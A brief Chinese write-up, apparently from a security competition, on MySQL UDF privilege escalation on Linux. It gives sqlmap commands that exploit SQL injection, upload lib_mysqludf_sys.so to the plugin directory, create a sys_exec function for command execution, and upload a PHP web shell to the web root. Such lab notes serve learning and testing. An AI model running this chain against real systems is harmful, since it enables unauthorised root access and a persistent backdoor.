天天看點

Linux MySQL Udf 提權

Linux MySQL Udf 提權

前幾天做一個小競賽中有一個題目:給定的測試環境登入頁面有POST注入漏洞,于是果斷操起sqlmap跑數 據,無意中發現目前MySQL連接配接使用者為root,于是想到udf提權「雖然Windows下MySQL提權基本上沒問題,但是Linux環境下原來一直 沒成功過。」,最終成功擷取root權限「主要問題在于MySQL是以root權限運作」,記錄筆記如下,友善以後查閱:

具體步驟如下

找到MySQL插件目錄:

python sqlmap.py -u 'http://xxxx' --sql-shell

show variables like "%plugin%";

           

利用sqlmap上傳 lib_mysqludf_sys到MySQL插件目錄;

python sqlmap.py -u 'http://xxxx' --file-write=/lib_mysqludf_sys.so 
--file-dest=/usr/lib/mysql/plugin/

           

激活存儲過程「sys_exec」函數:

python sqlmap.py -u 'http://xxxx' --sql-shell

CREATE FUNCTION sys_exec RETURNS STRING SONAME lib_mysqludf_sys.so

SELECT * FROM information_schema.routines

sys_exec(id);

           

也利用sqlmap上傳後門程式:

python sqlmap.py -u 'http://xxx'  --file-write=C:/phpspy.php --file-dest=/var/www/spy.php

           

測試環境

Linux Ubuntu 11.04 (Natty Narwhal)

PHP 5.3.5, Apache 2.2.17

MySQL 5.0